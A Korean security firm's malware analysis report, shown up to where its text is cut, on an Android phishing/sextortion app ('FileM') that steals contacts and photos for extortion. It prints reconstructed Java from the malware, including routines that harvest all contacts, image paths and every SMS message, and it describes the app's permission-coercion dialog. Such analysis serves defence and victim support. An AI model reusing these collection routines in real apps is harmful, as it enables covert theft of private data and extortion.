분석일: 2025-08-05 ~ 2026-02-14
분석자: 주식회사 아크링크
분석 목적: 피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 분석
보고서 버전: v3.0 (Quantum Nano Analysis)
프로젝트: Project FileM
0. [Executive Summary](#0-executive-summary)
1. [앱 기본 정보](#1-앱-기본-정보)
2. [권한 분석](#2-권한-분석)
3. [코드 구조 분석](#3-코드-구조-분석)
4. [데이터 수집 유틸리티 전수 분석 (StatusUtils.java)](#4-데이터-수집-유틸리티-전수-분석-statusutilsjava)
5. [DTO 분석](#5-dto-분석)
6. [네트워크/C2 분석](#6-네트워크c2-분석)
7. [SSL 우회 체인 분석](#7-ssl-우회-체인-분석)
8. [방어기제 분석](#8-방어기제-분석)
9. [데이터 탈취 분석](#9-데이터-탈취-분석)
10. [교차 분석: FileM vs FILEQ (Wavegrid Gen2 Variant A 쌍둥이)](#10-교차-분석-filem-vs-fileq)
11. [취약점 카탈로그](#11-취약점-카탈로그)
12. [기법 카탈로그](#12-기법-카탈로그)
13. [Developer Profiling](#13-developer-profiling)
14. [MALBIO 유전체 분석](#14-malbio-유전체-분석)
15. [피해 영향 분석](#15-피해-영향-분석)
16. [IOC (Indicators of Compromise)](#16-ioc-indicators-of-compromise)
17. [한계점](#17-한계점)
18. [분석 타임라인](#18-분석-타임라인)
19. [결론](#19-결론)
항목 · 값
**위협 등급** · **HIGH**
**패밀리** · Wavegrid Gen2 (Variant A)
**핵심 위협** · 연락처 + 이미지 전량 탈취, SMS 수집 코드 내장
**C2 서버** · `[비공개]` (RuoYi 프레임워크)
**방어기제** · 초대코드 검증 + minSdk 29 (모두 우회 완료)
**우회 상태** · 성공
**총 분석 클래스** · 22개 (악성 코어) + 라이브러리
**식별된 데이터 수집 메서드** · 7개 (StatusUtils.java)
**SSL 우회 레이어** · 3중 (UnSafeTrustManager + setCertificates + network_security_config)
**SMS 수집 코드** · **존재** (휴면 상태 - 호출부 미연결이나 코드 내장)
**FILEQ 유전체 거리** · 0.000 (동일 개발조 산출물)
1. 기존 보고서 오류 수정: 실제 패키지는 com.nectarfly.orbitaire (기존 com.cryonix.wavegrid.filem 기재는 메타데이터 오류)
2. SMS 수집 코드 발견: StatusUtils.getMsgs() 메서드에 content://sms/ 패턴 확인. Manifest에 READ_SMS 권한 미선언으로 휴면 상태이나, 코드가 존재한다는 것은 향후 활성화 가능성을 시사
3. 3중 SSL 우회 체인: TLS 인증서 검증을 3개 레이어에서 무력화하여 MITM 공격에 완전 취약
4. FILEQ와 구조적 차이 발견: 동일 패밀리이나 액티비티 명칭, JSON 라이브러리, 코드 구조에서 차이 존재. 동일 코드베이스의 세대 차이(fork) 가능성
항목 · 내용
**파일명** · fileM.apk
**앱 이름** · FileM
**패키지명 (Manifest)** · com.nectarfly.orbitaire
**내부 코어 패키지** · com.nectarfly.orbitaire
**보조 식별자 (R 클래스)** · com.vortexa.qubeleaf
**버전 코드** · 903
**버전 이름** · 7.0.3
**Min SDK** · 29 (Android 10)
**Target SDK** · 34 (Android 14)
**Compile SDK** · 34
**프레임워크** · Native Android (Kotlin + EasyHttp + FastJSON)
**패밀리** · Wavegrid Gen2 (Variant A)
**위협 수준** · **HIGH**
**우회 상태** · 성공
구분 · 패키지명 · 용도
**Manifest 패키지** · com.nectarfly.orbitaire · 앱 식별자, Application 클래스
**R 리소스 패키지** · com.vortexa.qubeleaf · 빌드 시 생성된 리소스 ID (R.string, R.layout 등)
**네트워크 라이브러리** · com.zhouyou.http · EasyHttp 라이브러리 (OkHttp 래퍼)
**JSON 파서** · com.alibaba.fastjson · Alibaba FastJSON
**유틸리티** · com.blankj.utilcode · BlankJ AndroidUtilCode
**이미지 압축** · top.zibin.luban · Luban 이미지 압축
**권한 요청** · com.permissionx.guolindev · PermissionX
**UI 상태바** · com.gyf.immersionbar · ImmersionBar
기존 보고서(v2.0)에서는 패키지명을 com.cryonix.wavegrid.filem으로 기재했으나, 실제 디컴파일 결과 com.nectarfly.orbitaire임이 확인되었습니다. com.cryonix.wavegrid.filem은 이전 분석에서의 메타데이터 추정값이었습니다.
항목 · 기존 보고서 (v2.0) · 실제 값 (v3.0)
Manifest 패키지 · com.cryonix.wavegrid.filem · **com.nectarfly.orbitaire**
내부 패키지 · com.tushiweih.wavegrid (추정) · **com.nectarfly.orbitaire**
R 패키지 · (미기재) · **com.vortexa.qubeleaf**
Application 클래스 · (미기재) · **com.nectarfly.orbitaire.Myapplication**
MALBIO 유전체 분석에서 거리 0.000으로 확인된 FileM과 FILEQ는 동일 개발조의 산출물이나, 디컴파일 데이터 기반 심층 분석에서 다음과 같은 차이가 발견되었습니다:
변경 항목 · FileM · FILEQ
Manifest 패키지 · com.nectarfly.orbitaire · com.vsyywi.yuhngt
내부 코어 패키지 · com.nectarfly.orbitaire · com.tushiweih.wavegrid
R 패키지 · com.vortexa.qubeleaf · (별도)
C2 서버 · [비공개] · [비공개]
minSdk · 29 · 28
LAUNCHER 액티비티 · HomeActivity (초대코드 입력) · LoginActivity (초대코드 입력)
데이터 수집 액티비티 · ContainActivity · HomeActivity
JSON 라이브러리 · Alibaba FastJSON · Gson
HTTP 라이브러리 · EasyHttp (OkHttp 래퍼) · OkHttp 직접 사용
이미지 압축 · Luban · (직접 구현 또는 미사용)
StatusUtils 클래스명 · StatusUtils.java (난독화 없음) · uv0.smali (ProGuard 난독화)
이러한 차이는 동일 개발조가 코드베이스를 fork하여 일부 리팩토링한 결과로 판단됩니다. 악성 로직의 핵심 구조(초대코드 -> 권한 요청 -> 연락처/이미지 탈취)는 완전 동일합니다.
# · 권한 · 위험도 · 용도 (분석) · 피해 시나리오
1 · `READ_CONTACTS` · **위험** · 연락처 전체 탈취 · 피해자의 모든 연락처가 공격자에게 전달됨. 주변인에게 협박 메시지 발송에 사용
2 · `READ_PHONE_STATE` · **위험** · IMEI, 기기정보 수집 · 기기 식별자로 피해자를 추적하고 동일 [피해자 정보 비공개] 활용
3 · `READ_PHONE_NUMBERS` · **위험** · 전화번호 직접 획득 · 피해자 전화번호를 직접 수집하여 협박 수단으로 활용
4 · `READ_EXTERNAL_STORAGE` · **위험** · 사진/파일 접근 (API 32 이하) · 기기 내 사진/동영상을 탈취하여 협박 소재로 활용
5 · `READ_MEDIA_IMAGES` · **위험** · 이미지 접근 (API 33+) · API 33 이상 기기에서 이미지 접근
6 · `READ_MEDIA_VIDEO` · **위험** · 동영상 접근 (API 33+) · API 33 이상 기기에서 동영상 접근
7 · `INTERNET` · 일반 · 네트워크 통신 · C2 서버와의 데이터 송수신
8 · `ACCESS_NETWORK_STATE` · 일반 · 네트워크 상태 확인 · 네트워크 가용성 체크
9 · `WRITE_EXTERNAL_STORAGE` · 일반 · 외부 저장소 쓰기 · 이미지 압축 임시 파일 저장
10 · `MOUNT_UNMOUNT_FILESYSTEMS` · 일반 · 파일시스템 마운트 · 비표준 권한, 일부 기기 호환성
11 · `DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION` · signature · 내부 수신기 보호 · AndroidX 표준 패턴
ContainActivity.smali의 getPerInfo() 메서드 분석 결과, 런타임 권한 요청이 API 버전에 따라 분기됩니다:
```java
// 재구성된 Java 코드
private void getPerInfo(int permissionSize) {
List<String> permissions = new ArrayList<>();
// 1단계: 미디어 권한 (API 버전 분기)
if (Build.VERSION.SDK_INT >= 33) {
permissions.add("android.permission.READ_MEDIA_IMAGES"); // API 33+
permissions.add("android.permission.READ_MEDIA_VIDEO"); // API 33+
} else {
permissions.add("android.permission.READ_EXTERNAL_STORAGE"); // API 32 이하
}
// 2단계: permissionSize == 3이면 추가 권한 요청
if (permissionSize == 3) {
permissions.add("android.permission.READ_CONTACTS");
permissions.add("android.permission.READ_PHONE_NUMBERS");
permissions.add("android.permission.READ_PHONE_STATE");
}
PermissionX.init(this)
.permissions(permissions)
.request((allGranted, grantedList, deniedList) -> {
if (allGranted) {
shareCOntain(); // 데이터 수집 시작
} else {
showActiveDialog(100); // 설정 화면 유도
}
});
}
```
분석 포인트: setList$lambda$0에서 getPerInfo(3)으로 호출하여 항상 전체 권한(미디어 + 연락처 + 전화번호)을 한 번에 요청합니다. GlobuleValue.SIZE = 3이 하드코딩 상수로 사용됩니다.
권한이 거부되면 showActiveDialog(100)을 호출하여 커스텀 다이얼로그(diaolog_permission 레이아웃)를 표시하고, 확인 버튼 클릭 시 앱 설정 화면(APPLICATION_DETAILS_SETTINGS)으로 강제 이동합니다:
```java
// showActiveDialog$lambda$3 재구성
dialog.dismiss();
Intent intent = new Intent("android.settings.APPLICATION_DETAILS_SETTINGS");
Uri uri = Uri.fromParts(getString(R.string.packageInfo), getPackageName(), null);
intent.setData(uri);
startActivityForResult(intent, code); // code = 100
```
이 패턴은 사용자가 권한을 거부해도 끊임없이 설정 화면으로 유도하여 사실상 "동의 강요"를 구현합니다.
앱 · 위험 권한 수 · Manifest 총 권한 · 비고
nyang · 7 · 10+ · Wavegrid 최다
ML (YLOVE) · 5 · 8+ · 카메라 포함
**FileM** · **6** · **11** · READ_MEDIA_IMAGES/VIDEO 분리 포함
FILEQ · 3 · 6+ · FileM 이전 버전
HomeYoga · 2 · 5+ · Wavegrid 최소
중요: Manifest에 READ_SMS 권한이 선언되지 않았지만, StatusUtils.getMsgs() 메서드에 SMS 전량 수집 코드가 내장되어 있습니다 (4절에서 상세 분석). 이는 향후 업데이트를 통해 SMS 수집을 활성화할 수 있는 "휴면 무기"입니다.
컴포넌트 · 타입 · 소스 · 역할
`com.nectarfly.orbitaire.Myapplication` · Application · Kotlin · 앱 초기화, EasyHttp 설정, C2 baseUrl 설정
`com.nectarfly.orbitaire.view.HomeActivity` · Activity (LAUNCHER) · Kotlin · 초대코드 입력 및 C2 서버 인증
`com.nectarfly.orbitaire.view.ContainActivity` · Activity · Kotlin · 권한 요청 + 연락처/이미지 수집/전송
`com.nectarfly.orbitaire.view.base.BaseActivity` · Abstract Activity · Kotlin · 공통 UI (ImmersionBar, ViewBinding, init/setList 템플릿)
`com.nectarfly.orbitaire.util.StatusUtils` · Utility (Static) · **Java** · 데이터 수집 핵심 (연락처, 이미지, SMS, 통신사 등)
`com.nectarfly.orbitaire.util.ServerUtil` · Utility (Singleton) · Kotlin · C2 서버 URL 상수, 파일 업로드
`com.nectarfly.orbitaire.util.GlobuleValue` · Constants (Singleton) · Kotlin · SharedPreferences 키 상수 정의
`com.nectarfly.orbitaire.util.PermissDialog` · Dialog · **Java** · 커스텀 권한 요청 다이얼로그
`com.nectarfly.orbitaire.bean.CollectBeanDTO` · Data Class · **Java** · 연락처 DTO (name, number)
`com.nectarfly.orbitaire.bean.InfoBeanDTO` · Data Class · **Java** · 다목적 DTO (displayName, path, content, date, type)
`com.nectarfly.orbitaire.bean.ResultSuccessCallBack` · Interface · **Java** · 파일 업로드 콜백
FileM은 Kotlin과 Java를 혼합 사용합니다:
언어 · 파일 · 특징
**Kotlin** · HomeActivity, ContainActivity, BaseActivity, ServerUtil, GlobuleValue, Myapplication · 주요 비즈니스 로직
**Java** · StatusUtils, PermissDialog, CollectBeanDTO, InfoBeanDTO, ResultSuccessCallBack · 유틸리티 및 데이터 클래스
이 패턴은 개발자가 기존 Java 코드를 재사용하면서 새 코드는 Kotlin으로 작성했음을 시사합니다. StatusUtils가 Java로 작성된 것은 이 클래스가 여러 프로젝트(FileM, FILEQ, HomeYoga 등)에서 공유되는 공통 모듈임을 뒷받침합니다.
```
[앱 실행]
v
HomeActivity (LAUNCHER) ← 주의: FILEQ에서는 LoginActivity
-- init(): IFFIRST == true? → startUp() → ContainActivity
-- init(): IFFIRST == false? → setList() → 초대코드 입력 UI
v
[사용자 입력] → setList$lambda$0
-- mainUid 비어있으면 UUID.randomUUID() 생성
-- goToNext(mainUid, inviteCode)
v
POST [비공개]
Body: {"name": inviteCode, "cId": uuid}
v
goToNext$2.onSuccess(response)
-- JSONObject.parseObject(response)
-- code == 200?
-- SPUtils.put("UUIDVALUE", uuid)
-- SPUtils.put("INVITECODE", inviteCode)
└-- startUp() → ContainActivity
-- code != 200?
└-- Toast(response.msg)
v
ContainActivity
-- init(): homeCode = SPUtils.getString("INVITECODE")
-- containIt = SPUtils.getBoolean("ISUPLOAD")
-- btnSync.setEnabled(!containIt) ← 이미 업로드했으면 버튼 비활성화
-- setList(): btnSync.onClick → getPerInfo(3)
v
[권한 요청] → PermissionX
-- allGranted? → shareCOntain()
-- TelephonyManager.getLine1Number() → codeValue (전화번호)
-- startNuxtInfo() ← 연락처 수집 및 전송
└-- startImgShowInfo() ← 이미지 수집 및 전송
-- denied? → showActiveDialog(100) → 설정 화면 유도
```
키 · 타입 · 용도 · 코드 위치
`IFFIRST` · Boolean · 최초 실행 여부 (true = 이미 로그인) · HomeActivity.init(), startUp()
`UUIDVALUE` · String · 기기 고유 식별자 (UUID v4) · HomeActivity.init(), goToNext$2
`INVITECODE` · String · 입력된 초대코드 · goToNext$2, ContainActivity.init()
`ISUPLOAD` · Boolean · 데이터 업로드 완료 여부 (재전송 방지) · ContainActivity.init(), startNuxtInfo$1
라이브러리 · 버전 · 용도 · FILEQ와 비교
**EasyHttp** (com.zhouyou.http) · - · HTTP 클라이언트 (OkHttp 래퍼) · FILEQ는 OkHttp 직접 사용
**Alibaba FastJSON** · - · JSON 파싱/직렬화 · FILEQ는 Gson
**OkHttp3** · - · EasyHttp 내부 + ServerUtil 직접 사용 · 동일
**BlankJ AndroidUtilCode** · - · SPUtils, GsonUtils, UtilsFileProvider · 동일
**PermissionX** (guolindev) · - · 런타임 권한 요청 · 동일
**Luban** (top.zibin.luban) · - · 이미지 압축 후 업로드 · FILEQ에서는 미확인
**ImmersionBar** (gyf) · - · 상태바 투명화 · 동일
**AndroidX** · - · AppCompat, Fragment, Lifecycle, ViewBinding · 동일
**Kotlin Coroutines** · - · 비동기 처리 · 동일
**RxJava2** · - · EasyHttp 내부 (Disposable 반환) · FILEQ에서는 미확인
StatusUtils.java는 FileM의 데이터 수집 엔진입니다. 7개의 static 메서드로 구성되며, 연락처, 이미지, SMS, 통신사 정보를 수집합니다.
# · 메서드 · 반환 타입 · 용도 · 호출 여부
1 · `getContact(Context)` · `List<InfoBeanDTO>` · 연락처 수집 (Phone URI) · **활성** - startNuxtInfo()
2 · `getContacts(Context)` · `List<CollectBeanDTO>` · 연락처 수집 (Contacts URI, 상세) · 미호출 (레거시)
3 · `getContactss(Context)` · `List<CollectBeanDTO>` · 연락처 수집 (하드코딩 URI) · 미호출 (레거시)
4 · `getMsgs(Context)` · `List<InfoBeanDTO>` · **SMS 전량 수집** · **미호출 (휴면)**
5 · `getImg(Context)` · `List<InfoBeanDTO>` · 이미지 경로 수집 (정렬 있음) · 미호출 (레거시)
6 · `getAlbum(Context)` · `List<InfoBeanDTO>` · 이미지 경로 수집 (정렬 없음) · **활성** - startImgShowInfo()
7 · `getOperatorName(Context)` · `String` · 통신사 이름 수집 · **활성** - startNuxtInfo()
8 · `compressImage(Bitmap)` · `Bitmap` · 이미지 JPEG 압축 · 미호출 (레거시, Luban 대체)
9 · `saveFile(Context, Bitmap, String)` · `File` · 이미지 파일 저장 · 미호출 (레거시)
```java
// 재구성된 Java 코드
public static List<InfoBeanDTO> getContact(Context context) {
List<InfoBeanDTO> list = new ArrayList<>();
try {
ContentResolver resolver = context.getContentResolver();
Cursor cursor = resolver.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null, // 전체 컬럼
null, // WHERE 없음 → 전체 연락처
null, // 파라미터 없음
null // 정렬 없음
);
cursor.moveToFirst();
do {
String name = cursor.getString(cursor.getColumnIndex("display_name"));
String number = cursor.getString(cursor.getColumnIndex("data1"));
String contactId = cursor.getString(cursor.getColumnIndex("contact_id"));
InfoBeanDTO bean = new InfoBeanDTO();
bean.displayName = name; // 연락처 이름
bean.content = number; // 전화번호
list.add(bean);
} while (cursor.moveToNext());
cursor.close();
} catch (Exception e) { }
return list;
}
```
분석 포인트:
· WHERE null 패턴: 필터링 없이 모든 연락처를 수집
· Phone.CONTENT_URI 사용: 연락처별 전화번호를 직접 가져옴
· InfoBeanDTO로 래핑하여 이름(displayName)과 번호(content)를 저장
· try-catch로 예외 무시: 일부 연락처 수집 실패해도 계속 진행
```java
// 재구성된 Java 코드
public static List<CollectBeanDTO> getContacts(Context context) {
List<CollectBeanDTO> list = new ArrayList<>();
ContentResolver resolver = context.getContentResolver();
// 1단계: 모든 연락처 ID 수집
Cursor cursor = resolver.query(
ContactsContract.Contacts.CONTENT_URI,
null, null, null, null
);
while (cursor.moveToNext()) {
String id = cursor.getString(cursor.getColumnIndex("_id"));
String name = cursor.getString(cursor.getColumnIndex("display_name"));
int hasPhone = cursor.getInt(cursor.getColumnIndex("has_phone_number"));
if (hasPhone > 0) {
// 2단계: 각 연락처의 전화번호 수집
Cursor phoneCursor = resolver.query(
Phone.CONTENT_URI,
null,
"contact_id=" + id, // SQL Injection 취약! (V-004)
null, null
);
while (phoneCursor.moveToNext()) {
CollectBeanDTO bean = new CollectBeanDTO();
bean.name = name;
String number = phoneCursor.getString(
phoneCursor.getColumnIndex("data1")
);
bean.number = number.trim().replace(" ", "").replace("-", "");
list.add(bean);
}
phoneCursor.close();
}
}
cursor.close();
return list;
}
```
분석 포인트:
· 2단계 쿼리: 먼저 연락처 목록 → 각 연락처의 전화번호 별도 조회
· "contact_id=" + id: 문자열 결합으로 SQL Injection 취약점 (V-004)
· 전화번호 정규화: 공백과 하이픈 제거 (trim().replace(" ","").replace("-",""))
```java
public static List<CollectBeanDTO> getContactss(Context context) {
List<CollectBeanDTO> list = new ArrayList<>();
ContentResolver resolver = context.getContentResolver();
// 하드코딩된 Content URI!
Cursor cursor = resolver.query(
Uri.parse("content://com.android.contacts/data/phones"),
null, null, null, null
);
while (cursor.moveToNext()) {
String name = cursor.getString(cursor.getColumnIndex("display_name"));
String number = cursor.getString(cursor.getColumnIndex("data1"));
CollectBeanDTO bean = new CollectBeanDTO();
bean.name = name;
bean.number = number;
list.add(bean);
Log.d("TAG", "getContact===" + name);
Log.d("TAG", "getContact===" + number);
}
cursor.close();
return list;
}
```
분석 포인트:
· content://com.android.contacts/data/phones 하드코딩: ContactsContract.CommonDataKinds.Phone.CONTENT_URI와 동일하지만 문자열로 직접 지정
· Log.d("TAG", ...): 디버그 로그에 연락처 정보 출력 (V-007)
· 이 메서드는 getContacts()와 getContact()의 중간 형태로, 개발 과정에서의 반복 구현 흔적
```java
// 재구성된 Java 코드 - 핵심 발견!
public static List<InfoBeanDTO> getMsgs(Context context) {
List<InfoBeanDTO> list = new ArrayList<>();
try {
Uri smsUri = Uri.parse("content://sms/"); // ← SMS 전체 접근!
// 5일 전 기준 시간 계산
Calendar calendar = Calendar.getInstance();
calendar.add(Calendar.DAY_OF_MONTH, -1); // 실제: -1 (1일 전)
// 코드상 상수: const/4 v2, 0x5 → add(5, -1) → DAY_OF_MONTH, -1
String[] projection = {"address", "date", "type", "body"};
Cursor cursor = context.getContentResolver().query(
smsUri,
projection,
null, // WHERE null → 전체 SMS!
null,
null
);
while (cursor.moveToNext()) {
String address = cursor.getString(0); // 발신/수신 번호
String date = cursor.getString(1); // 날짜
String type = cursor.getString(2); // 유형 (수신/발신)
String body = cursor.getString(3); // 메시지 본문
InfoBeanDTO bean = new InfoBeanDTO();
bean.content = body; // SMS 본문
bean.displayName = address; // 번호
bean.date = date; // 날짜
bean.type = type; // 유형
list.add(bean);
// 디버그 로그에 SMS 내용 출력!
Log.e("TAG", "address:...,date:...,type:...,body:..." + address + body + type);
}
cursor.close();
} catch (Exception e) { }
return list;
}
```
핵심 분석:
항목 · 내용
**URI** · `content://sms/` (전체 SMS 접근)
**필터** · WHERE null (전체 SMS, 필터링 없음)
**수집 필드** · address(번호), date(날짜), type(유형), body(본문)
**호출 여부** · **미호출** (ContainActivity에서 호출되지 않음)
**Manifest 권한** · READ_SMS **미선언**
**위험도** · 코드 존재 자체가 위협 - 업데이트로 활성화 가능
**디버그 로그** · `Log.e("TAG", ...)` - SMS 본문이 로그에 노출 (V-007)
휴면 상태 근거:
1. ContainActivity.shareCOntain()에서 startNuxtInfo()(연락처)와 startImgShowInfo()(이미지)만 호출
2. getMsgs()를 호출하는 코드가 현재 바이너리에 존재하지 않음
3. Manifest에 READ_SMS 권한이 선언되지 않아 실행해도 SecurityException 발생
위협 평가: 이 코드는 Wavegrid 패밀리의 "공통 유틸리티 모듈"에 포함된 것으로, nyang 등 SMS 수집이 필요한 변종에서 사용됩니다. FileM에서는 아직 활성화되지 않았지만, Manifest에 READ_SMS를 추가하고 shareCOntain()에서 getMsgs()를 호출하면 즉시 SMS 수집이 가능합니다.
```java
public static List<InfoBeanDTO> getAlbum(Context context) {
List<InfoBeanDTO> list = new ArrayList<>();
try {
Cursor cursor = context.getContentResolver().query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
null, // 전체 컬럼
null, // WHERE null → 전체 이미지
null,
null // 정렬 없음
);
if (cursor != null && cursor.moveToFirst()) {
do {
<본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr